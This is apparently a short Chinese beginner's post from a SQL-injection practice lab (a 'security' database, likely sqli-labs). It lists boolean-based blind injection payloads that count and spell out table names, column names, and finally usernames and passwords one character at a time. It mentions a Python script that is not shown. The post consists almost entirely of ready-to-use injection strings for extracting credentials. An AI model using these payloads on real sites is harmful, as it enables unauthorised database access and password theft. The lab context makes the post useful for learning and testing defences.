　　初学python，只注重实现功能，不要太在意某些细节，如有建议，感谢提出。

　　

#库中有几个表：

1' and ((select count(table_name) from information_schema.tables where table_schema = 'security') = 4)--+

#测表名长度：

1' and (select length((select table_name from information_schema.tables where table_schema = 'security' limit 0,1)) = 10)--+

#爆表名：

1' and (select mid((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1)='a')--+

#表中有几列：

1' and ((select count(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security') = 3)--+

#测列名长度：

1' and (select length((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1)) = 8)--+

#爆列名:

1' and (select mid((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1)='u')--+

#爆用户名：

1' and (select mid((select username from security.users limit 0,1),1,1)='d')--+

#爆密码：

1' and (select mid((select password from security.users limit 0,1),1,1)='d')--+

　以上标红的就是需要递归测试的地方(标红的地方不显示-.-!，将就看)，需要者可自行修改代码。还有上述代码中 s 列表请针对具体的情况修改，因为没有特殊字符以及大写字母等。
